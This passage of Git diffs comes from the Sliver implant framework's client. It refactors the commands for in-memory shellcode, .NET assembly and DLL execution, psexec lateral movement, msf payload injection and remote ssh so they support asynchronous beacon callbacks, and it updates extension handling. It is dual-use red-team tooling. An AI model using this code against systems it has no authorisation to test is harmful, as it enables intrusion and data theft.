return completers.LocalPathCompleter(prefix, args, con)
},
})
extensionCmd.AddCommand(&grumble.Command{
Name: consts.InstallStr,
Help: "Install an extension from a local directory or .tar.gz file",
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsInstallCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("path", "path to the extension .tar.gz or directory")
},
Completer: func(prefix string, args []string) []string {
return completers.LocalPathCompleter(prefix, args, con)
},
})
extensionCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove an installed extension",
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.RmStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsRemoveCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("name", "the command name of the extension to remove")
},
Completer: func(prefix string, args []string) []string {
return extensions.ExtensionsCommandNameCompleter(prefix, args, con)
},
})
con.App.AddCommand(extensionCmd)
// [ Prelude's Operator ] ------------------------------------------------------------
operatorCmd := &grumble.Command{
Name: consts.PreludeOperatorStr,
+4
View File
@@ -0,0 +1,4 @@
Completers
===========
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
+63
View File
@@ -0,0 +1,63 @@
package completers
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
)
// LocalPathCompleter - Completes a local file system path
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
var parent string
var partial string
fi, err := os.Stat(prefix)
if os.IsNotExist(err) {
parent = filepath.Dir(prefix)
partial = filepath.Base(prefix)
} else {
if fi.IsDir() {
parent = prefix
partial = ""
} else {
parent = filepath.Dir(prefix)
partial = filepath.Base(prefix)
}
}
results := []string{}
ls, err := ioutil.ReadDir(parent)
if err != nil {
return results
}
for _, fi = range ls {
if 0 < len(partial) {
if strings.HasPrefix(fi.Name(), partial) {
results = append(results, filepath.Join(parent, fi.Name()))
}
} else {
results = append(results, filepath.Join(parent, fi.Name()))
}
}
return results
}
-1
View File
@@ -46,7 +46,6 @@ func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -56,7 +56,6 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -52,7 +52,6 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if unsetResp.Response != nil && unsetResp.Response.Async {
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, unsetResp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
+53 -19
View File
@@ -3,14 +3,17 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -20,26 +23,27 @@ import (
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("filepath")
assemblyPath := ctx.Args.String("filepath")
isDLL := false
if filepath.Ext(filePath) == ".dll" {
if filepath.Ext(assemblyPath) == ".dll" {
isDLL = true
}
if isDLL {
@@ -48,7 +52,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
}
assemblyBytes, err := ioutil.ReadFile(filePath)
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
@@ -59,7 +63,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
@@ -72,30 +76,50 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
con.PrintErrorf("%s", err)
return
}
hostname := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
}
}
// PrintExecuteAssembly - Print the results of an assembly execution
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
if executeAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", executeAssembly.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(executeAssembly.GetOutput()))
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssembly.GetOutput())
outFilePath.Write(execAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
if ctx.Flags.Bool("loot") && 0 < len(executeAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(filePath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", executeAssembly.GetOutput(), false)
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
@@ -103,3 +127,13 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
}
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+32 -8
View File
@@ -29,20 +29,26 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/ssh/terminal"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
interactive := ctx.Flags.Bool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
return
}
pid := ctx.Flags.Uint("pid")
shellcodePath := ctx.Args.String("filepath")
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
@@ -61,7 +67,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
task, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
Pid: uint32(pid),
@@ -73,11 +79,29 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("%s\n", err)
return
}
if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, shellcodeTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteShellcode(shellcodeTask, con)
})
con.PrintAsyncResponse(shellcodeTask.Response)
} else {
PrintExecuteShellcode(shellcodeTask, con)
}
}
// PrintExecuteShellcode - Display result of shellcode execution
func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
if task.Response.GetErr() != "" {
con.PrintErrorf("%s\n", task.Response.GetErr())
return
} else {
con.PrintInfof("Executed shellcode on target\n")
}
con.PrintInfof("Executed shellcode on target\n")
}
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
@@ -97,7 +121,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
})
if err != nil {
con.PrintErrorf("Error: %v\n", err)
con.PrintErrorf("%s\n", err)
return
}
@@ -111,7 +135,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
})
if err != nil {
con.PrintErrorf("Error: %v\n", err)
con.PrintErrorf("%s\n", err)
return
}
// Retrieve PID and start remote task
@@ -130,7 +154,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
con.PrintErrorf("%s\n", err)
return
}
+77 -33
View File
@@ -22,26 +22,33 @@ import (
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("silent")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
token := ctx.Flags.Bool("token")
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
token := ctx.Flags.Bool("token")
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
}
var exec *sliverpb.Execute
var err error
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token {
@@ -49,7 +56,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
Output: output,
Stderr: stderr,
Stdout: stdout,
})
@@ -58,42 +65,79 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
Output: output,
Stderr: stderr,
Stdout: stdout,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
} else if !output {
combined := ""
if stdout == "" {
combined = exec.Stdout
con.PrintInfof("Output:\n%s", exec.Stdout)
} else {
con.PrintInfof("StdOut saved at %s\n", stdout)
}
if !ignoreStderr && stderr == "" {
combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
con.PrintInfof("StdErr:\n%s", exec.Stderr)
} else {
con.PrintInfof("Stderr saved at %s\n", stderr)
}
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
} else {
if ctx.Flags.Bool("loot") && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
return
}
if exec.Response != nil && exec.Response.Async {
con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, exec)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecute(exec, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
PrintExecute(exec, ctx, con)
}
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
saveLoot := ctx.Flags.Bool("loot")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("output")
if !output {
if exec.Status == 0 {
con.PrintInfof("Command executed successfully\n")
} else {
con.PrintErrorf("Exit code %d\n", exec.Status)
}
return
}
combined := ""
if stdout == "" {
combined = string(exec.Stdout)
con.PrintInfof("Output:\n%s", combined)
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
con.PrintInfof("Stderr saved at %s\n", stderr)
}
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
if saveLoot && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
}
+21 -2
View File
@@ -25,6 +25,8 @@ import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
@@ -57,7 +59,7 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
@@ -70,7 +72,24 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
con.PrintInfof("Executed payload on target\n")
PrintMsfRemote(msfTask, con)
}
}
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
}
+4 -5
View File
@@ -21,7 +21,7 @@ package exec
import (
"context"
"fmt"
"math/rand"
insecureRand "math/rand"
"strings"
"time"
@@ -44,7 +44,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
hostname := ctx.Args.String("hostname")
if hostname == "" {
con.PrintWarnf("you need to provide a target host, see `help psexec` for examples")
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
return
}
profile := ctx.Flags.String("profile")
@@ -54,7 +54,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("You might want to change that before going further...\n")
if !settings.IsUserAnAdult(con) {
return
@@ -160,10 +160,9 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func randomString(length int) string {
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
b := make([]byte, length)
for i := range b {
b[i] = charset[seededRand.Intn(len(charset))]
b[i] = charset[insecureRand.Intn(len(charset))]
}
return string(b)
}
+33 -5
View File
@@ -3,14 +3,17 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -20,19 +23,20 @@ import (
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSession()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -66,14 +70,38 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostname := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSideload(sideload, hostname, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
PrintSideload(sideload, hostname, ctx, con)
}
}
// PrintSideload - Print the sideload command output
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", sideload.GetResponse().GetErr())
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
+33 -7
View File
@@ -5,18 +5,20 @@ import (
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSession()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
@@ -39,21 +41,45 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Kill: !ctx.Flags.Bool("keep-alive"),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
con.PrintErrorf("%s\n", err)
return
}
ctrl <- true
<-ctrl
hostname := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSpawnDll(spawndll, hostname, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
PrintSpawnDll(spawndll, hostname, ctx, con)
}
}
// PrintSpawnDll - Print the SpawnDll command response
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", spawndll.GetResponse().GetErr())
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
+28 -11
View File
@@ -11,6 +11,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
@@ -51,7 +52,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
commandResp, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
Username: username,
Hostname: hostname,
Port: uint32(port),
@@ -64,20 +65,36 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
if sshCmd.Response != nil && sshCmd.Response.Async {
con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sshCmd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSSHCmd(sshCmd, con)
})
con.PrintAsyncResponse(sshCmd.Response)
} else {
PrintSSHCmd(sshCmd, con)
}
}
if commandResp.Response != nil && commandResp.Response.Err != "" {
con.PrintErrorf("Error: %s\n", commandResp.Response.Err)
if commandResp.StdErr != "" {
con.PrintErrorf("StdErr: %s\n", commandResp.StdErr)
// PrintSSHCmd - Print the ssh command response
func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
if sshCmd.Response != nil && sshCmd.Response.Err != "" {
con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
if sshCmd.StdErr != "" {
con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
}
return
}
if commandResp.StdOut != "" {
con.PrintInfof("Output:")
con.Println(commandResp.StdOut)
if commandResp.StdErr != "" {
con.PrintInfof("StdErr")
con.Println(commandResp.StdErr)
if sshCmd.StdOut != "" {
con.PrintInfof("Output:\n")
con.Println(sshCmd.StdOut)
if sshCmd.StdErr != "" {
con.PrintInfof("StdErr:\n")
con.Println(sshCmd.StdErr)
}
}
}
+22 -17
View File
@@ -1,46 +1,51 @@
Extensions
====
===========
Allows to load and execute 3rd party extensions.
Extensions must be loaded from a directory with the following architecture:
Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
parent directories are not allowed. Only files listed in the manifest are copied, any other files will
be ignored.
```shell
/path/to/extension/folder/
├── manifest.json
├── extension.json
└── windows
├── 386
│   └── extension.x86.dll
└── amd64
└── extension.x64.dll
│ └── extension.x86.dll
│ └── extension.x64.dll
└── linux
│ └── extension.x86.so
│ └── extension.x64.so
└── darwin
└── extension.x86.dylib
└── extension.x64.dylib
```
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
Here's an example manifest:
Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
```json
[
{
"name": "foo",
"version": "1.0.0",
"extension_author": "ac1d-burn",
"original_author": "zer0-cool",
"repo_url": "https://github.com/foo/bar",
"help": "Help for foo command",
"entrypoint": "RunFoo",
"init" :"NimMain",
"dependsOn": "bar",
"depends_on": "bar",
"files": [
{
"os": "windows",
"files":{
"x86": "extension.x86.o",
"x64": "extension.x64.o",
}
"arch": "amd64",
"path": "extension.x64.o",
}
],
"arguments": [
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
]
}
]
```
The structure is the following one:
+121
View File
@@ -0,0 +1,121 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// ExtensionsCmd - List information about installed extensions
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrintExtensions(con)
}
// PrintExtensions - Print a list of loaded extensions
func PrintExtensions(con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
"Extension Author",
"Original Author",
"Repository",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, extension := range loadedExtensions {
installed := ""
if _, ok := installedManifests[extension.CommandName]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
extension.Name,
extension.CommandName,
strings.Join(extensionPlatforms(extension), ",\n"),
extension.Version,
installed,
extension.ExtensionAuthor,
extension.OriginalAuthor,
extension.RepoURL,
})
}
con.Println(tw.Render())
}
func extensionPlatforms(extension *ExtensionManifest) []string {
platforms := map[string]string{}
for _, entry := range extension.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*ExtensionManifest {
manifestPaths := assets.GetInstalledExtensionManifests()
installedManifests := map[string]*ExtensionManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &ExtensionManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
